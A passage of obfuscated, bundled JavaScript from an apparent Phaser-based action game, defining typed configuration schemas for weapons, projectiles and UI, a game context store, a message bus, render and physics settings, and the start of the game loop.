Object['prototype']['hasOwnProperty']['call'](_0x2c44c9, _0x30a5f4) && _0x4afafc(_0x3972de, _0x2c44c9, _0x30a5f4); } return _0x38812c(_0x3972de, _0x2c44c9), _0x3972de; }; Object['defineProperty'](_0x272fb8, '__esModule', { 'value': !0x0 }), _0x272fb8['TTipsConfig'] = void 0x0; const _0x393c49 = _0x236365(_0x3c8e2f(0x22f3)), _0x1a7857 = _0x393c49['type']({ 'text': _0x393c49['string'] }); _0x272fb8['TTipsConfig'] = _0x393c49['type']({ 'tips': _0x393c49['array'](_0x1a7857) }); }, 0x20e7: function (_0xd22928, _0x4f6812, _0x1518a8) { 'use strict'; var _0x3c9746 = this && this['__createBinding'] || (Object['create'] ? function (_0x2d2e5a, _0xdcf5b, _0x2a8871, _0x1a0e4a) { void 0x0 === _0x1a0e4a && (_0x1a0e4a = _0x2a8871); var _0x49e419 = Object['getOwnPropertyDescriptor'](_0xdcf5b, _0x2a8871); _0x49e419 && !('get' in _0x49e419 ? !_0xdcf5b['__esModule'] : _0x49e419['writable'] || _0x49e419['configurable']) || (_0x49e419 = { 'enumerable': !0x0, 'get': function () { return _0xdcf5b[_0x2a8871]; } }), Object['defineProperty'](_0x2d2e5a, _0x1a0e4a, _0x49e419); } : function (_0x24ec8a, _0x2e1229, _0x47bdfb, _0x309287) { void 0x0 === _0x309287 && (_0x309287 = _0x47bdfb), _0x24ec8a[_0x309287] = _0x2e1229[_0x47bdfb]; }), _0x49baec = this && this['__setModuleDefault'] || (Object['create'] ? function (_0x34ef62, _0x5a4a0d) { Object['defineProperty'](_0x34ef62, 'default', { 'enumerable': !0x0, 'value': _0x5a4a0d }); } : function (_0x3e8d7c, _0x1c7a48) { _0x3e8d7c['default'] = _0x1c7a48; }), _0x1bd6d5 = this && this['__importStar'] || function (_0xc62ec7) { if (_0xc62ec7 && _0xc62ec7['__esModule']) return _0xc62ec7; var _0x519358 = {}; if (null != _0xc62ec7) { for (var _0x31fe56 in _0xc62ec7) 'default' !== _0x31fe56 && Object['prototype']['hasOwnProperty']['call'](_0xc62ec7, _0x31fe56) && _0x3c9746(_0x519358, _0xc62ec7, _0x31fe56); } return _0x49baec(_0x519358, _0xc62ec7), _0x519358; }; Object['defineProperty'](_0x4f6812, '__esModule', { 'value': !0x0 }), _0x4f6812['TWeaponConfig'] = _0x4f6812['TWeaponRestriction'] = _0x4f6812['TWeaponAmmoConfig'] = _0x4f6812['TAiWeaponSelectionConfig'] = _0x4f6812['TWeaponAttackPhaseConfig'] = _0x4f6812['TAttackFiringPointConfig'] = _0x4f6812['TFiringPointConfig'] = _0x4f6812['TPhaseRenderEffectConfig'] = void 0x0; const _0xc48e2f = _0x1bd6d5(_0x1518a8(0x22f3)), _0x548428 = _0x1518a8(0x5f9), _0x32f604 = _0x1518a8(0x1ecd), _0x372885 = _0xc48e2f['type']({ 'animationName': _0xc48e2f['string'], 'repeatAnimationAfterMS': _0xc48e2f['union']([_0xc48e2f['number'], _0xc48e2f['undefined']]) }); _0x4f6812['TPhaseRenderEffectConfig'] = _0xc48e2f['intersection']([_0xc48e2f['type']({ 'animations': _0xc48e2f['array'](_0x372885) }), _0xc48e2f['partial']({ 'useAllAnimations': _0xc48e2f['boolean'], 'preserveAnimationsOnNextPhase': _0xc48e2f['boolean'] })]), _0x4f6812['TFiringPointConfig'] = _0xc48e2f['intersection']([_0xc48e2f['type']({ 'directionType': _0xc48e2f['union']([_0xc48e2f['literal']('USE_LOOK_DIRECTION'), _0xc48e2f['literal']('ABSOLUTE')]), 'distanceFromCenter': _0xc48e2f['number'] }), _0xc48e2f['partial']({ 'directionOffset': _0xc48e2f['number'], 'directionUsesFacingDirection': _0xc48e2f['boolean'], 'debugColor': _0xc48e2f['string'] })]), _0x4f6812['TAttackFiringPointConfig'] = _0xc48e2f['partial']({ 'distribution': _0xc48e2f['number'], 'distributionType': _0xc48e2f['union']([_0xc48e2f['literal']('AREA'), _0xc48e2f['literal']('WAVE'), _0xc48e2f['literal']('DIRECTION')]), 'projectileCount': _0xc48e2f['number'], 'attackDirectionOffset': _0xc48e2f['number'], 'speed': _0xc48e2f['number'], 'attachToFiringPoint': _0xc48e2f['boolean'], 'customProjectileType': _0xc48e2f['string'] }), _0x4f6812['TWeaponAttackPhaseConfig'] = _0xc48e2f['intersection']([_0xc48e2f['type']({ 'name': _0xc48e2f['string'] }), _0xc48e2f['partial']({ 'projectileType': _0xc48e2f['string'], 'directionType': _0xc48e2f['union']([_0xc48e2f['literal']('USE_LOOK_DIRECTION'), _0xc48e2f['literal']('ABSOLUTE'), _0xc48e2f['literal']('ABSOLUTE_SPIN')]), 'directionUsesFacingDirection': _0xc48e2f['boolean'], 'convergeOnTarget': _0xc48e2f['boolean'], 'absoluteSpinInitialAngle': _0xc48e2f['number'], 'spinDegreesPerSecond': _0xc48e2f['number'], 'spinProjectileDegreesPerSecond': _0xc48e2f['number'], 'attackFiringPointConfigs': _0xc48e2f['record'](_0xc48e2f['string'], _0x4f6812['TAttackFiringPointConfig']), 'phaseDurationMS': _0xc48e2f['number'], 'firingCooldownMS': _0xc48e2f['number'], 'movementLockoutMS': _0xc48e2f['number'], 'lockMovementOnGroundOnly': _0xc48e2f['boolean'], 'rotationLockoutMS': _0xc48e2f['number'], 'lockRotationOnGroundOnly': _0xc48e2f['boolean'], 'preventAiChangeDirection': _0xc48e2f['boolean'], 'recoil': _0xc48e2f['number'], 'recoilUpwardSkew': _0xc48e2f['number'], 'phaseRenderEffectConfig': _0x4f6812['TPhaseRenderEffectConfig'], 'fireEffectAnimation': _0xc48e2f['union']([_0xc48e2f['array'](_0xc48e2f['string']), _0xc48e2f['string'], _0xc48e2f['undefined']]), 'useAllFireEffectAnimations': _0xc48e2f['boolean'], 'keepFireEffectInitialPosition': _0xc48e2f['boolean'], 'renderFireEffectForAllProjectiles': _0xc48e2f['boolean'], 'phaseAnimation': _0xc48e2f['string'], 'restartPhaseAnimationOnFire': _0xc48e2f['boolean'], 'flash': _0x548428['TFlashConfig'], 'screenShake': _0x548428['TScreenShakeConfig'], 'phaseStartSound': _0x32f604['TRequestSoundConfig'], 'fireSound': _0x32f604['TRequestSoundConfig'], 'stopPreviousSounds': _0xc48e2f['boolean'], 'continueIntoNextPhase': _0xc48e2f['boolean'], 'attachToFiringPoint': _0xc48e2f['string'], 'useOwnerLookDirection': _0xc48e2f['boolean'] })]), _0x4f6812['TAiWeaponSelectionConfig'] = _0xc48e2f['type']({ 'maxAttackRange': _0xc48e2f['number'], 'minAttackRange': _0xc48e2f['number'], 'attackCones': _0xc48e2f['array'](_0xc48e2f['type']({ 'angle': _0xc48e2f['number'], 'range': _0xc48e2f['number'] })) }), _0x4f6812['TWeaponAmmoConfig'] = _0xc48e2f['intersection']([_0xc48e2f['type']({ 'ammoName': _0xc48e2f['string'], 'ammoPerAttack': _0xc48e2f['number'] }), _0xc48e2f['partial']({ 'rechargeTimeMS': _0xc48e2f['number'] })]); const _0x28aea4 = _0xc48e2f['union']([_0xc48e2f['literal']('LOOKING_UP'), _0xc48e2f['literal']('LOOKING_DOWN'), _0xc48e2f['literal']('DASHING'), _0xc48e2f['literal']('GROUNDED'), _0xc48e2f['literal']('JUST_JUMPED')]), _0x1c6d8d = new _0xc48e2f['Type']('TWeaponVariantRestrictionNegation', _0x38790e => 'string' == typeof _0x38790e && _0x38790e['startsWith']('!') && _0x28aea4['is'](_0x38790e['slice'](0x1)), (_0x5109a6, _0x397cb1) => 'string' == typeof _0x5109a6 && _0x5109a6['startsWith']('!') && _0x28aea4['is'](_0x5109a6['slice'](0x1)) ? _0xc48e2f['success'](_0x5109a6) : _0xc48e2f['failure'](_0x5109a6, _0x397cb1), _0xc48e2f['identity']); _0x4f6812['TWeaponRestriction'] = _0xc48e2f['union']([_0x28aea4, _0x1c6d8d]), _0x4f6812['TWeaponConfig'] = _0xc48e2f['intersection']([_0xc48e2f['type']({ 'attackConfigs': _0xc48e2f['array'](_0x4f6812['TWeaponAttackPhaseConfig']) }), _0xc48e2f['partial']({ 'restrictions': _0xc48e2f['array'](_0x4f6812['TWeaponRestriction']), 'autoFire': _0xc48e2f['boolean'], 'attackSequenceResetMS': _0xc48e2f['number'], 'aiWeaponSelectionConfig': _0x4f6812['TAiWeaponSelectionConfig'], 'requiresAmmo': _0x4f6812['TWeaponAmmoConfig'], 'globalWeaponCooldownMS': _0xc48e2f['number'], 'weaponCooldownMS': _0xc48e2f['number'] })]); }, 0xfc0: function (_0x33387a, _0x193859, _0x556cdb) { 'use strict'; var _0x543117 = this && this['__createBinding'] || (Object['create'] ? function (_0x2ade7e, _0x3bfbea, _0x1990ce, _0xae34bb) { void 0x0 === _0xae34bb && (_0xae34bb = _0x1990ce); var _0x27e82e = Object['getOwnPropertyDescriptor'](_0x3bfbea, _0x1990ce); _0x27e82e && !('get' in _0x27e82e ? !_0x3bfbea['__esModule'] : _0x27e82e['writable'] || _0x27e82e['configurable']) || (_0x27e82e = { 'enumerable': !0x0, 'get': function () { return _0x3bfbea[_0x1990ce]; } }), Object['defineProperty'](_0x2ade7e, _0xae34bb, _0x27e82e); } : function (_0x1ed3d8, _0x2eb3d5, _0x24bd64, _0x43fd7e) { void 0x0 === _0x43fd7e && (_0x43fd7e = _0x24bd64), _0x1ed3d8[_0x43fd7e] = _0x2eb3d5[_0x24bd64]; }), _0x1a98eb = this && this['__setModuleDefault'] || (Object['create'] ? function (_0x41ee41, _0x3d4eee) { Object['defineProperty'](_0x41ee41, 'default', { 'enumerable': !0x0, 'value': _0x3d4eee }); } : function (_0x5ca090, _0xc1fc95) { _0x5ca090['default'] = _0xc1fc95; }), _0x35e380 = this && this['__importStar'] || function (_0x548804) { if (_0x548804 && _0x548804['__esModule']) return _0x548804; var _0x43752c = {}; if (null != _0x548804) { for (var _0x361ce0 in _0x548804) 'default' !== _0x361ce0 && Object['prototype']['hasOwnProperty']['call'](_0x548804, _0x361ce0) && _0x543117(_0x43752c, _0x548804, _0x361ce0); } return _0x1a98eb(_0x43752c, _0x548804), _0x43752c; }; Object['defineProperty'](_0x193859, '__esModule', { 'value': !0x0 }), _0x193859['TWeaponGroupConfig'] = void 0x0; const _0x3870c4 = _0x35e380(_0x556cdb(0x22f3)); _0x193859['TWeaponGroupConfig'] = _0x3870c4['intersection']([_0x3870c4['type']({ 'weapons': _0x3870c4['array'](_0x3870c4['string']) }), _0x3870c4['partial']({ 'doNotShowInUi': _0x3870c4['boolean'], 'iconPath': _0x3870c4['string'], 'iconText': _0x3870c4['string'], 'iconInactivePath': _0x3870c4['string'], 'iconFramePath': _0x3870c4['string'], 'renderUiCooldown': _0x3870c4['boolean'], 'keybindText': _0x3870c4['string'] })]); }, 0x1337: (_0x260dce, _0x2b2bcc) => { 'use strict'; Object['defineProperty'](_0x2b2bcc, '__esModule', { 'value': !0x0 }), _0x2b2bcc['verificationFailureParser'] = _0x2b2bcc['GameContext'] = void 0x0; const _0x4e352e = _0xbba0e2 => []; _0x2b2bcc['GameContext'] = class { ['timeProvider'];['rngProvider'];['idProvider'];['gameStore'] = void 0x0;['context'] = void 0x0;['actorQueryFunction'] = _0x4e352e;['cameras'] = {};['levelConfig'];['messageBus'];['debugGraphics']; constructor(_0x5d48e9) { this['gameStore'] = _0x5d48e9['gameStore'], this['timeProvider'] = _0x5d48e9['timeProvider'], this['rngProvider'] = _0x5d48e9['rngProvider'], this['idProvider'] = _0x5d48e9['idProvider'], this['messageBus'] = _0x5d48e9['messageBus']; } ['clear']() { this['actorQueryFunction'] = _0x4e352e, this['cameras'] = {}, this['levelConfig'] = void 0x0, this['messageBus'] = void 0x0, this['debugGraphics'] = void 0x0, this['timeProvider']?.['destroy'](), this['timeProvider'] = void 0x0, this['rngProvider']?.['destroy'](), this['rngProvider'] = void 0x0, this['idProvider'] = void 0x0; } ['setupGameContextProviders'](_0x427e5a) { this['messageBus'] && this['messageBus']['unsubscribeByOwner'](this), _0x427e5a['messageBus'] && _0x427e5a['messageBus']['subscribe'](this, 'registerSceneQueryActor', _0x571bb2 => this['actorQueryFunction'] = _0x571bb2), this['timeProvider'] = _0x427e5a['timeProvider'], this['rngProvider'] = _0x427e5a['rngProvider'], this['idProvider'] = _0x427e5a['idProvider']; } ['initializeData'](_0x529fb1) { if (this['context']) throw new Error('Attempting\x20to\x20reinitialize\x20game\x20context.\x20This\x20operation\x20is\x20forbidden.'); this['context'] = this['deepFreeze'](_0x529fb1); } ['getAnimationConfig'](_0x331e87) { return this['getConfigWrapped'](_0x331e87, 'animation'); } ['getExplosionConfig'](_0x2bdbd2) { return this['getConfigWrapped'](_0x2bdbd2, 'explosion'); } ['getProjectileConfig'](_0x469112) { return this['getConfigWrapped'](_0x469112, 'projectile'); } ['getWeaponConfig'](_0x3ef79f) { return this['getConfigWrapped'](_0x3ef79f, 'weapon'); } ['getWeaponGroupConfig'](_0x499b39) { return this['getConfigWrapped'](_0x499b39, 'weapon_group'); } ['getEnemyConfig'](_0x5b4c45) { return this['getConfigWrapped'](_0x5b4c45, 'enemy'); } ['getPickupConfig'](_0x2e011f) { return this['getConfigWrapped'](_0x2e011f, 'pickup'); } ['getOtherConfig'](_0x168af1) { return this['getConfigWrapped'](_0x168af1, 'other'); } ['getMapObjectConfig'](_0x1df585) { return this['getConfigWrapped'](_0x1df585, 'map_object'); } ['getDialogueConfig'](_0x252237) { return this['getConfigWrapped'](_0x252237, 'dialogue'); } ['getNpcConfig'](_0x21b4b7) { return this['getConfigWrapped'](_0x21b4b7, 'npc'); } ['getPerkConfig'](_0x1c184d) { return this['getConfigWrapped'](_0x1c184d, 'perk'); } ['getAllPerkConfigs'](_0x54e427) { return this['getAllConfigsWrapped'](_0x54e427, 'perk'); } ['queryActors'](_0x3ccb1f) { return this['actorQueryFunction'](_0x3ccb1f); } ['setupCameras'](_0x3fa3d0) { this['cameras'] = _0x3fa3d0; } ['getCamera'](_0x165abd) { return this['cameras'][_0x165abd]; } ['setupLevelConfig'](_0x379909) { this['levelConfig'] = _0x379909; } ['getCurrentLevelConfig']() { return this['levelConfig']; } ['setDebugGraphics'](_0xc44cd) { this['debugGraphics'] = _0xc44cd; } ['getDebugGraphics']() { return this['debugGraphics']; } ['subscribeToGameStore'](_0x87fcd5, _0x336e0c) { this['gameStore']['subscribe'](_0x87fcd5, _0x336e0c); } ['unsubscribeFromGameStore'](_0x24b406, _0x4f5ef3) { this['gameStore']['unsubscribe'](_0x24b406, _0x4f5ef3); } ['getFromGameStore'](_0x4f7b52) { return this['gameStore']['get'](_0x4f7b52); } ['updateGameStore'](_0x176ab3, _0x28b0, _0xd39153) { this['gameStore']['update'](_0x176ab3, _0x28b0, { 'forceUpdate': !!_0xd39153?.['forceUpdate'] }); } ['getConfig'](_0x4ad0d0, _0x328691) { if (!this['context'][_0x4ad0d0]) return; const [_0x1fc46a, _0x145c44] = this['splitString'](_0x328691, '/'); return this['context'][_0x4ad0d0][_0x1fc46a] ? this['context'][_0x4ad0d0][_0x1fc46a][_0x145c44] : void 0x0; } ['getAllConfigs'](_0x125d54, _0x55e802) { return this['context'][_0x125d54] && this['context'][_0x125d54][_0x55e802] ? Object['values'](this['context'][_0x125d54][_0x55e802]) : []; } ['getConfigWrapped'](_0x199c86, _0x3c1d20) { const _0x202b65 = this['getConfig'](_0x3c1d20, _0x199c86); if (!_0x202b65) throw new Error('There\x20is\x20no\x20' + _0x3c1d20 + '\x20config\x20specified\x20for\x20\x22' + _0x199c86 + '\x22'); return _0x202b65; } ['getAllConfigsWrapped'](_0x15c417, _0x485393) { const _0x838e91 = this['getAllConfigs'](_0x485393, _0x15c417); if (0x0 === _0x838e91['length']) throw new Error('There\x20are\x20no\x20' + _0x485393 + '\x20configs\x20specified\x20for\x20\x22' + _0x15c417 + '\x22'); return _0x838e91; } ['deepFreeze'](_0xf7a282) { const _0x556203 = Object['getOwnPropertyNames'](_0xf7a282); for (const _0x37d9b6 of _0x556203) { const _0xc72a65 = _0xf7a282[_0x37d9b6]; _0xc72a65 && 'object' == typeof _0xc72a65 && this['deepFreeze'](_0xc72a65); } return Object['freeze'](_0xf7a282); } ['splitString'](_0x23ea3e, _0x5aa814) { const _0x3c4bee = _0x23ea3e['lastIndexOf'](_0x5aa814); return -0x1 === _0x3c4bee ? [_0x23ea3e] : [_0x23ea3e['substring'](0x0, _0x3c4bee), _0x23ea3e['substring'](_0x3c4bee + 0x1)]; } }, _0x2b2bcc['verificationFailureParser'] = function (_0x22ab44, _0x4133b3) { if (0x0 === _0x4133b3['length']) return 'Invalid\x20value\x20\x27' + _0x22ab44 + '\x27\x20at\x20top\x20level.'; const _0x54f3ea = _0x4133b3['map'](({ key: _0x5d15a5 }) => _0x5d15a5)['join']('.'), _0x30dbf4 = _0x4133b3[_0x4133b3['length'] - 0x1]['type']['name']; return 'Invalid\x20value\x20\x0a\x27' + JSON['stringify'](_0x22ab44) + '\x27\x0a\x0aat\x20path\x20\x27' + _0x54f3ea + '\x27\x0a\x0aExpected\x20type\x0a\x20' + _0x30dbf4; }; }, 0xf0e: (_0x338841, _0x332c2e) => { 'use strict'; Object['defineProperty'](_0x332c2e, '__esModule', { 'value': !0x0 }), _0x332c2e['MessageBus'] = _0x332c2e['TEST_PREFIX'] = void 0x0, _0x332c2e['TEST_PREFIX'] = 'test_', _0x332c2e['MessageBus'] = class { ['modelTSCheck'];['lastId'] = 0x0;['groupSubscriptions'] = {};['subscriptions'] = {};['config'] = {}; constructor(_0x52ef2a) { _0x52ef2a && (this['config'] = _0x52ef2a); } ['subscribe'](_0x4b8541, _0x1fd2bf, _0x1e66a) { const _0x4e9589 = { 'handler': _0x1e66a, 'owner': _0x4b8541 }; return this['subscriptions'][_0x1fd2bf] || (this['subscriptions'][_0x1fd2bf] = []), this['subscriptions'][_0x1fd2bf]['push'](_0x4e9589), _0x1e66a; } ['subscribeGroup'](_0x17d9ed, _0x2b5fbc, _0x1aa256) { const _0x99fcd7 = this['lastId']++; return this['groupSubscriptions'][_0x99fcd7] = { 'keys': _0x2b5fbc, 'data': {}, 'handler': _0x1aa256, 'owner': _0x17d9ed }, _0x2b5fbc['forEach'](_0x470181 => { this['subscribe'](_0x17d9ed, _0x470181, _0x19a874 => { const _0x1c556a = this['groupSubscriptions'][_0x99fcd7]; _0x1c556a && (_0x1c556a['data'][_0x470181] = _0x19a874, Object['keys'](_0x1c556a['data'])['length'] === _0x1c556a['keys']['length'] && (_0x1c556a['handler'](_0x1c556a['data']), _0x1c556a['data'] = {})); }); }), _0x1aa256; } ['unsubscribe'](_0x3a47ad, _0x399ccd) { this['subscriptions'][_0x3a47ad] && (this['subscriptions'][_0x3a47ad] = this['subscriptions'][_0x3a47ad]['filter'](_0x18a14a => _0x18a14a['handler'] !== _0x399ccd), this['groupSubscriptions'] = Object['fromEntries'](Object['entries'](this['groupSubscriptions'])['filter'](([_0x49d9ad, _0x29aed4]) => !_0x29aed4['keys']['includes'](_0x3a47ad) || (this['unsubscribeByOwner'](_0x29aed4['owner']), !0x1)))); } ['unsubscribeByOwner'](_0x3cfcb0) { for (const _0x2814ed in this['subscriptions']) { const _0x24d7fe = this['subscriptions'][_0x2814ed]; _0x24d7fe && (this['subscriptions'][_0x2814ed] = _0x24d7fe['filter'](_0x2ea580 => _0x2ea580['owner'] !== _0x3cfcb0)); } for (const _0x416d44 in this['groupSubscriptions']) this['groupSubscriptions'][_0x416d44]['owner'] === _0x3cfcb0 && (Object['keys'](this['groupSubscriptions'][_0x416d44]['data'])['forEach'](_0x25c6ff => { this['subscriptions'][_0x25c6ff] && (this['subscriptions'][_0x25c6ff] = this['subscriptions'][_0x25c6ff]['filter'](_0x2bc5de => _0x2bc5de['handler'] !== this['groupSubscriptions'][_0x416d44]['handler'])); }), delete this['groupSubscriptions'][_0x416d44]); } ['publish'](_0x3749e1, _0x10853a) { this['config']['emitTestDOMEvents'] && window['dispatchEvent'](new CustomEvent('' + _0x332c2e['TEST_PREFIX'] + _0x3749e1, { 'detail': _0x10853a })), this['subscriptions'][_0x3749e1] && this['subscriptions'][_0x3749e1]?.['forEach'](_0x5af347 => _0x5af347['handler'](_0x10853a)); } ['destroy']() { this['subscriptions'] = {}, this['groupSubscriptions'] = {}; } }; }, 0xb35: (_0x4bc9f7, _0x1be96f, _0x2f52a7) => { 'use strict'; Object['defineProperty'](_0x1be96f, '__esModule', { 'value': !0x0 }), _0x1be96f['PhysicsConfig'] = void 0x0; const _0x221915 = _0x2f52a7(0x1832); _0x1be96f['PhysicsConfig'] = { 'GRAVITY': { 'x': 0x0, 'y': 0x50 }, 'WORLD_TIMESTEP': 0x1 / 0x78, 'TILE_SIZE': 0x20, 'COLLISION_GROUPS': {} }; let _0x1dfb17 = 0x1; for (const _0x5ab316 in _0x221915['EActorTag']) { const _0xa850a3 = _0x221915['EActorTag'][_0x5ab316]; _0x1be96f['PhysicsConfig']['COLLISION_GROUPS'][_0xa850a3] = 0x1 << _0x1dfb17, _0x1dfb17++; } }, 0xf18: function (_0x5dd014, _0x25d50c, _0x189607) { 'use strict'; var _0x1f0b95 = this && this['__createBinding'] || (Object['create'] ? function (_0x4034a7, _0x3e1185, _0x505ed8, _0x349382) { void 0x0 === _0x349382 && (_0x349382 = _0x505ed8); var _0xf25b04 = Object['getOwnPropertyDescriptor'](_0x3e1185, _0x505ed8); _0xf25b04 && !('get' in _0xf25b04 ? !_0x3e1185['__esModule'] : _0xf25b04['writable'] || _0xf25b04['configurable']) || (_0xf25b04 = { 'enumerable': !0x0, 'get': function () { return _0x3e1185[_0x505ed8]; } }), Object['defineProperty'](_0x4034a7, _0x349382, _0xf25b04); } : function (_0x1a2dfe, _0x26fa40, _0x50a995, _0x100b4a) { void 0x0 === _0x100b4a && (_0x100b4a = _0x50a995), _0x1a2dfe[_0x100b4a] = _0x26fa40[_0x50a995]; }), _0xf29bbf = this && this['__setModuleDefault'] || (Object['create'] ? function (_0x3699e4, _0x5c9c8b) { Object['defineProperty'](_0x3699e4, 'default', { 'enumerable': !0x0, 'value': _0x5c9c8b }); } : function (_0x26a48e, _0x2520af) { _0x26a48e['default'] = _0x2520af; }), _0x5381b1 = this && this['__importStar'] || function (_0x2d0e0e) { if (_0x2d0e0e && _0x2d0e0e['__esModule']) return _0x2d0e0e; var _0x32d325 = {}; if (null != _0x2d0e0e) { for (var _0x29ff7f in _0x2d0e0e) 'default' !== _0x29ff7f && Object['prototype']['hasOwnProperty']['call'](_0x2d0e0e, _0x29ff7f) && _0x1f0b95(_0x32d325, _0x2d0e0e, _0x29ff7f); } return _0xf29bbf(_0x32d325, _0x2d0e0e), _0x32d325; }; Object['defineProperty'](_0x25d50c, '__esModule', { 'value': !0x0 }), _0x25d50c['RenderConfig'] = _0x25d50c['LAYER_DEPTHS'] = _0x25d50c['PHASER_CONFIG'] = _0x25d50c['isMobile'] = void 0x0; const _0x1369e3 = _0x5381b1(_0x189607(0x8d4)); _0x25d50c['isMobile'] = function () { return ('ontouchstart' in window || navigator['maxTouchPoints'] > 0x0) && window['matchMedia']('(display-mode:\x20fullscreen)')['matches']; }, _0x25d50c['PHASER_CONFIG'] = { 'type': _0x1369e3['WEBGL'], 'parent': 'game_rendering_element', 'backgroundColor': '#000000', 'antialias': !0x0, 'scale': { 'width': 0x780, 'height': 0x438, 'mode': _0x1369e3['Scale']['NONE'], 'autoCenter': _0x1369e3['Scale']['NONE'] }, 'maxLights': 0xf, 'powerPreference': 'high-performance', 'preserveDrawingBuffer': !0x0, 'noAudio': !0x0, 'loader': { 'maxRetries': 0x3 } }, _0x25d50c['LAYER_DEPTHS'] = { 'PARALLAX': -0x64, 'BEFORE_PARALLAX': -0x32, 'BACKGROUND': -0xa, 'FLASH_DARK': -0x8, 'WEATHER': -0x5, 'PARTICLES': -0x4, 'BACKGROUND_SHADER': -0x3, 'SPRITE': 0x0, 'SPINE': 0x1, 'PLAYER': 0x2, 'SPRITE_ADD': 0x3, 'SPINE_ADD': 0x4, 'FOREGROUND': 0x14, 'EFFECT': 0x32, 'EFFECT_ADD': 0x33, 'PROJECTILE': 0x32, 'EXPLOSION': 0x32, 'EXPLOSION_ADD': 0x33, 'FLASH': 0x64, 'UI_HUD': 0x3e8, 'UI_MAIN': 0x3f2, 'DEBUG': 0x1 / 0x0 }, _0x25d50c['RenderConfig'] = { ..._0x25d50c['PHASER_CONFIG'], 'SCENE_SCALE': 0x1, 'DEBUG': !0x0 }; }, 0x847: (_0x34974d, _0x1cbeb8, _0x51229e) => { 'use strict'; Object['defineProperty'](_0x1cbeb8, '__esModule', { 'value': !0x0 }), _0x1cbeb8['generateRandomChoice'] = void 0x0; const _0x508fda = _0x51229e(0x221b)['EProviderContext']['PERKS']; _0x1cbeb8['generateRandomChoice'] = function (_0x2588a2, _0x87e730) { const _0x463a4e = _0x87e730['amountOfChoices'] > _0x87e730['choicesToPickFrom']['length']; if (!_0x87e730['allowRepeat'] && _0x463a4e) throw new Error('Not\x20enough\x20choices\x20to\x20pick\x20from'); const _0x127656 = [], _0x26bf64 = [..._0x87e730['choicesToPickFrom']]; for (let _0x1387af = 0x0; _0x1387af < _0x87e730['amountOfChoices']; _0x1387af++) { const _0x326c23 = _0x2588a2['getRandomElement'](_0x508fda, _0x26bf64), _0x270235 = _0x26bf64['indexOf'](_0x326c23); _0x127656['push'](_0x326c23), _0x87e730['allowRepeat'] || _0x26bf64['splice'](_0x270235, 0x1); } return { 'type': _0x87e730['choiceType'], 'options': _0x127656, 'selectedOptionId': null }; }; }, 0x1854: function (_0x575de5, _0x49cb14, _0x18573a) { 'use strict'; var _0x43c868 = this && this['__importDefault'] || function (_0x49f2bf) { return _0x49f2bf && _0x49f2bf['__esModule'] ? _0x49f2bf : { 'default': _0x49f2bf }; }; Object['defineProperty'](_0x49cb14, '__esModule', { 'value': !0x0 }), _0x49cb14['GameLoop'] = void 0x0; const _0x6d2bb6 = _0x43c868(_0x18573a(0x9a8)), _0x40f39b = _0x18573a(0x5d3), _0x354b1f = _0x18573a(0xf18), _0x1d137a = _0x18573a(0x26e9), _0x4324f2 = _0x18573a(0x70c), _0x447d89 = _0x18573a(0x2bd), _0x5ecb80 = _0x18573a(0xb35), _0x47b4c1 = _0x18573a(0x16c4), _0x369a58 = _0x18573a(0x188), _0x2224b8 = _0x18573a(0x1bed), _0xe1128c = _0x18573a(0x1a39), _0x31172c = _0x18573a(0xde9), _0x180a43 = _0x18573a(0x221b), _0x1db38c = _0x18573a(0x1a95), _0x1d8b2e = _0x18573a(0x160c), _0x5d0a62 = ['startReplay', 'requestSound', 'requestSoundParameterUpdate', 'requestSoundGroupVolumeUpdate', 'requestStopSound', 'requestStopSoundsByEventName', 'requestStopSoundsByGroupName', 'requestStopAllSounds', 'requestSendOutboundMessage', 'banksChanged', 'setListenerPosition', 'uiEvent', 'roomExited', 'choiceSelected', 'playAgain', 'startRun', 'startHub', 'startTutorial', 'startTest', 'startSingleLevel', 'sceneCreationComplete', 'gamepadEvent', 'dialogueHasStarted', 'dialogueHasEnded', 'requestRemoveIgnoreUserReason', 'requestAddIgnoreUserReason', 'playerDead', 'runCompletePlayerDead', 'mainObjectiveFinished'], _0x4fddb6 = ['actionStateChange', 'receivedInboundMessage', 'replayDataStored']; _0x49cb14['GameLoop'] = class { ['config'];['controlsStateSystem'];['frames'] = [];['gameId'];['gameScenes'] = [];['gameUtilScenes'] = [];['eventQueue'];['world'];['remainingPhysicsDelta'] = 0x0;['remainingRenderDelta'] = 0x0;['replayFrameIndex'] = 0x0;['replayRemainingLiveDelta'] = 0x0;['willStopPhysicsUpdate'] = !0x1;['originalPhaserLoopCallback']; constructor(_0xda83c3) { this['config'] = _0xda83c3, this['gameId'] = Date['now'](), this['physicsUpdate'] = this['physicsUpdate']['bind'](this), this['replayModeStep'] = this['replayModeStep']['bind'](this), this['setupGameMessageBusListener'](), this['setupMessageBusForwarding'](), this['world'] = new _0x6d2bb6['default']['World'](_0x5ecb80['PhysicsConfig']['GRAVITY']), this['setupGameContext'](this['config']['gameContext'], this['config']['gameMessageBus'], _0xda83c3['seeds']), this['controlsStateSystem'] = this['createControlsStateSystem'](), this['eventQueue'] = new _0x6d2bb6['default']['EventQueue'](!0x0), this['config']['systemMessageBus']['publish']('gameInstanceCreated', { 'gameInstance': this['config']['phaserGame'], 'gameId': this['gameId'] }), this['startLevelLoader'](); } async['destroy']() { this['frames'] = [], this['controlsStateSystem']['destroy'](), this['world'] && (this['world']['free'](), this['world'] = null), this['eventQueue'] && (this['eventQueue']['clear'](), this['eventQueue'] = null), this['remainingPhysicsDelta'] = 0x0, this['remainingRenderDelta'] = 0x0, this['replayFrameIndex'] = 0x0, this['replayRemainingLiveDelta'] = 0x0, this['config']['gameMessageBus']['publish']('requestStopAllSounds'), this['willStopPhysicsUpdate'] = !0x0, this['config']['gameContext']['timeProvider']['destroy'](), [...this['gameScenes'], ...this['gameUtilScenes']]['forEach'](_0x40c1df => { _0x40c1df['destroy'](); }), _0x447d89['assetsToLoad']['length'] = 0x0, this['config']['gameMessageBus']['unsubscribeByOwner'](this), this['config']['systemMessageBus']['unsubscribeByOwner'](this), this['config']['gameContext']['clear'](), this['config']['gameMessageBus']['destroy'](); const _0x446d12 = [...this['gameScenes'], ...this['gameUtilScenes']]; await Promise['all'](_0x446d12['map'](_0xb4891b => this['destroySceneAsync'](_0xb4891b))), this['gameScenes'] = [], this['gameUtilScenes'] = [], this['originalPhaserLoopCallback'] && (this['config']['phaserGame']['loop']['callback'] = this['originalPhaserLoopCallback']); } ['getVerificationData']() { return this['gameScenes'][0x0]['getVerificationData'](); } ['getGameScene']() { return this['gameScenes'][0x0]; } ['destroySceneAsync'](_0x4c620e) { return new Promise((_0x128af4, _0xc2c5a8) => { 